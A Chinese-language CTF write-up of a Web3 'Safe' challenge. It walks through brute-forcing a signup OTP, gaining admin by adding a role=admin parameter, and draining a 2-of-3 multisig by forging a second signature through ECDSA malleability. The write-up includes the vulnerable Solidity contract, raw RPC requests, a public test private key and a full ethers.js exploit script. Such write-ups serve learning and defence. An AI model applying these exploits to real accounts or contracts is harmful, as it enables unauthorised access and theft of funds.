截至今日,我感觉这是我来莫斯科学习感觉最有意思的题(似乎也是最难的题了
因为之前很少做Web3或者做CTF一直是一把嗦(这是为数不多的手搓题 可能做的有点笨
题目信息 - Safe 1 2 3 4 5 6 7 The Web3 safe deployment service has suspended registration. Your mission: break in and crack the safe! NOTE: RPC Address (10.137.0.24) is incorrect. Replace it with address of your task when connecting to MetaMask Hints (4/4) If the OTP doesn't arrive, what is actually being limited — a single account or a series of attempts? Updating a profile — is it always a dangerous operation? If you need information, go directly to the source. Something is wrong with the signatures...
爆破OTP,实现注册。
使用Yakit进行演示,Burp也能实现基本的功能,但是序列可能需要安装插件或者写脚本了。
先打开靶机链接,发现是一道Web3的题。
之前尝试过爆破用户密码,没有成功。把功能点放在注册上面,注册的时候需要OTP,OTP的值是4位数的,思路基本就是先爆破出OTP的值,一般这个值都是固定的。
但是在进行多次重放攻击,同一个signup_id放10次以上的情况下sign值就失效了。
看一下包的逻辑,分别有start和verify两个接口。start用于生成signup_id,verify用于验证otp的值是否正确。
思路已经明确了 基本就是用start接口实现生成signup_id 然后将signup_id回传到verify接口进行验证 一般这种情况我就用AI生成脚本了 但是Yakit有一个序列功能一直没用过 试一下工具的原生功能
先将start接口启动FUZZ,然后创建一个序列并选择,然后点击开始执行。
然后点击数据提取器,提取响应体的signup_id 对应的值,点击调试运行看一下,查看无误后直接保存即可。
然后再将verify接口扔到FUZZ,之后拖入到序列一,创建新的step将signup_id设置为如下形式即可传参
然后点击执行测试一下,看到signup_id传参过来就没问题啦。
然后就比较简单了otp设置为爆破验证码,直接爆破otp就可以了。
获得管理员权限 成功登录之后,有一个Update的页面,大概率这个地方有传参类的漏洞。
其实可以看到回参有一个role的参数,而我们的请求参数只有两个,可以尝试增加一个role参数为admin,再次传参进行测试,很简单的拿到了admin权限。
拿到Admin权限后可以访问管理员面板,可以看到各个钱包的状态以及SafeVault.sol备份文件,大概率sol文件有洞。
伪造合约签名转账 先回到主页看到获得Flag的要求是500ETH,基本思路就是绑一个账号,然后实现合约签名伪造转到自己的账号上。
这里如果你回到Wallet你就能看见一个Safe账户的东西
什么是 Safe 账户?
在开始攻击之前,需要先理解一个核心概念:Safe 账户 (也叫多签钱包)。
普通的钱包(比如你在 MetaMask 里创建的)是单签钱包 ——只要你有私钥,就能直接转走里面的资产。
而 Safe 是一个多签钱包 ,它的特点是:
它本身是一个智能合约 ,不是普通的外部账户。
创建时需要指定 N 个 Owner 地址 (管理者)。
转账需要 至少 M 个 Owner 签名 才能执行(M ≤ N)。
SafeVault.sol文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 // SPDX-License-Identifier: MIT pragma solidity ^0.8.23; contract SafeVault { uint256 public constant THRESHOLD = 2; string public label; uint256 public nonce; address[3] private _owners; mapping(address => bool) public isOwner; mapping(address => mapping(address => uint256)) public allowances; event Deposit(address indexed from, uint256 amount); event AllowanceSet(address indexed owner, address indexed spender, uint256 amount); event AllowanceSpent(address indexed owner, address indexed spender, address indexed to, uint256 amount); event WithdrawalExecuted( address indexed relayer, address indexed to, uint256 amount, bytes32 operationHash, address signerOne, address signerTwo ); constructor(address[3] memory owners_, string memory label_) payable { label = label_; for (uint256 i = 0; i < owners_.length; i++) { address owner = owners_[i]; require(owner != address(0), "owner"); require(!isOwner[owner], "duplicate"); isOwner[owner] = true; _owners[i] = owner; } if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } receive() external payable { emit Deposit(msg.sender, msg.value); } function owners() external view returns (address[3] memory) { return _owners; } function setAllowance(address spender, uint256 amount) external { require(isOwner[msg.sender], "owner"); allowances[msg.sender][spender] = amount; emit AllowanceSet(msg.sender, spender, amount); } function spendAllowance(address owner, address payable to, uint256 amount) external { uint256 allowed = allowances[owner][msg.sender]; require(allowed >= amount, "allowance"); unchecked { allowances[owner][msg.sender] = allowed - amount; } (bool ok, ) = to.call{value: amount}(""); require(ok, "send"); emit AllowanceSpent(owner, msg.sender, to, amount); } function operationHash(address to, uint256 amount, uint256 nonceValue) public view returns (bytes32) { return keccak256(abi.encode(address(this), block.chainid, to, amount, nonceValue)); } function prefixedOperationHash(address to, uint256 amount, uint256 nonceValue) public view returns (bytes32) { bytes32 rawHash = operationHash(to, amount, nonceValue); return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", rawHash)); } function executeWithdraw(address payable to, uint256 amount, bytes[] calldata signatures) external { require(signatures.length == THRESHOLD, "threshold"); require(keccak256(signatures[0]) != keccak256(signatures[1]), "duplicate signature"); bytes32 digest = prefixedOperationHash(to, amount, nonce); address signerOne = recover(digest, signatures[0]); address signerTwo = recover(digest, signatures[1]); require(isOwner[signerOne], "signer one"); require(isOwner[signerTwo], "signer two"); nonce += 1; (bool ok, ) = to.call{value: amount}(""); require(ok, "send"); emit WithdrawalExecuted(msg.sender, to, amount, digest, signerOne, signerTwo); } function recover(bytes32 digest, bytes memory signature) internal pure returns (address) { require(signature.length == 65, "sig length"); bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } require(v == 27 || v == 28, "sig v"); return ecrecover(digest, v, r, s); } }
这个合约最核心的漏洞在 recover 函数里。
它调用 ecrecover 恢复签名地址时,没有验证签名是否真的有效,而且你可以随意操控 v、r、s 的值。这意味着你可以构造一个假的签名数据,让 ecrecover 直接返回 Owner1 或 Owner2 的地址,完全不需要知道他们的私钥。
同时 executeWithdraw 只要求两个签名恢复出来的地址都是 Owner,不检查签名是否合法。所以你只需要伪造两个签名分别冒充两个 Owner,就能直接调用 executeWithdraw 把 500 ETH 转到自己钱包,然后点击 Claim 拿到 Flag。
在这道题里:
THRESHOLD = 2,表示需要 2 个 Owner 签名 才能提款。
合约有 3 个 Owner,分别是 Owner1、Owner2、Owner3。
正常情况下,你需要拿到至少 2 个 Owner 的私钥才能转走里面的 500 ETH。
但因为有漏洞,我们只需要 1 个 Owner 的私钥 就能伪造出第 2 个签名,从而绕过 2/3 多签限制。
所以接下来的目标是:用 Owner1 的私钥签名,伪造第二个签名,调用 executeWithdraw 把 500 ETH 转到自己的钱包。
先让这个网站连接上钱包
然后先去领点水,用于支付后续脚本执行时的 Gas 费 。
中途环境重置了一下,从这开始IP会变(方法是一样的
查询有ETH的钱包地址 先查询区块一
1 2 3 4 5 POST / HTTP/1.1 Host : 10.10.0.57:8545Content-Type : application/json{ "jsonrpc" : "2.0" , "method" : "eth_getBlockByNumber" , "params" : [ "0x1" , true ] , "id" : 1 }
查询到了测试地址
1 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
这是 Hardhat 默认账户 #1,也就是 Owner1,这个地址的私钥是公开的
这是内置的第一个默认测试账户地址 ,但这仅限用于本地开发和测试网络 。
1 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
然后继续查询区块2,区块3,看到区块3里面有关于500ETH交易的信息
这里是16进制,转换成十进制就可以看到啦
1 2 3 4 5 POST / HTTP/1.1 Host : 10.10.0.57:8545Content-Type : application/json{ "jsonrpc" : "2.0" , "method" : "eth_getBlockByNumber" , "params" : [ "0x3" , true ] , "id" : 1 }
查区块 3 的交易回执 拿到合约地址 0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0
1 2 3 4 5 POST / HTTP/1.1 Host : 10.10.0.57:8545Content-Type : application/json{"jsonrpc" :"2.0" ,"method" :"eth_getTransactionReceipt" ,"params" :["0x1ae8a03efdbb8f5a98d417ed7eaebb6af54d6c3c5a9f86882d416fe3df70568b" ],"id" :1 }
现在我们已经拿到了三个关键信息
Owner1 的私钥(从 Hardhat 默认账户获得)
Treasury vault #3 的合约地址(从交易回执拿到)
合约里的 nonce 值(目前是 0)
但前端界面(Safe Console)只允许操作你自己创建的 Safe,不支持直接加载一个已存在的合约地址。所以我们现在没办法在网页上点按钮来完成转账。
因此,我们需要用脚本直接跟链上的 Safe 合约交互,调用它的 executeWithdraw 函数。
脚本的逻辑是这样的:
用 Owner1 的私钥连接 RPC
计算提款操作的消息哈希(包含了 Safe 地址、Chain ID、接收地址、金额、nonce)
用 Owner1 签名得到第一个签名
利用 ECDSA 签名可延展性,修改 s 值和 v 值,伪造出第二个签名
为什么可以这样伪造?
ECDSA 签名是 (r, s, v),其中 s 和曲线阶 n 满足:
如果 (r, s) 是合法签名,那么 (r, n - s) 也是合法签名(因为椭圆曲线点的对称性)
v 是恢复参数,27/28 表示使用 y 的正负号
所以同一个消息用同一个私钥签一次,就能派生出一个”看起来不同”但同样有效的第二签名 。这就是为什么只需要 1 个 Owner 私钥就能伪造 2 个签名。
把两个签名一起提交给合约,执行提款
使用脚本吧 直接复制到浏览器的console就可以使用
记得用脚本的时候替换服务器地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 (async () => { const provider = new ethers.JsonRpcProvider ("http://10.10.0.57:8545" );const owner = new ethers.Wallet ("0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" ,provider, ); const recipient = "0xe48bA79C4688Ea4f33e4b2eBf84598A87b3d10fA" ;const safe = "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ;const amount = ethers.parseEther ("500" );const nonce = 0n ;const rawHash = ethers.keccak256 (ethers.AbiCoder .defaultAbiCoder ().encode ( ["address" , "uint256" , "address" , "uint256" , "uint256" ], [safe, 31337 , recipient, amount, nonce], ) ); const signatureOne = await owner.signMessage (ethers.getBytes (rawHash));const bytes = ethers.getBytes (signatureOne);const r = bytes.slice (0 , 32 );const s = BigInt (ethers.hexlify (bytes.slice (32 , 64 )));const v = bytes[64 ];const curveOrder = BigInt ("0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141" ,); const alternateS = ethers.zeroPadValue (ethers.toBeHex (curveOrder - s), 32 ,); const alternateV = v === 27 ? 28 : 27 ;const signatureTwo = ethers.hexlify (ethers.concat ([ r, alternateS, ethers.toBeHex (alternateV, 1 ), ]) ); const vault = new ethers.Contract (safe, [ "function executeWithdraw(address payable to, uint256 amount, bytes[] signatures)" ,"function nonce() view returns (uint256)" ,], owner, ); const transaction = await vault.executeWithdraw (recipient, amount, [signatureOne, signatureTwo], ); const receipt = await transaction.wait ();console .log ({recipient : recipient,transaction : transaction.hash ,block : receipt.blockNumber ,}); })();
然后切换到 Claim 标签页,点击 Claim FLAG NFT 按钮,就能拿到 Flag。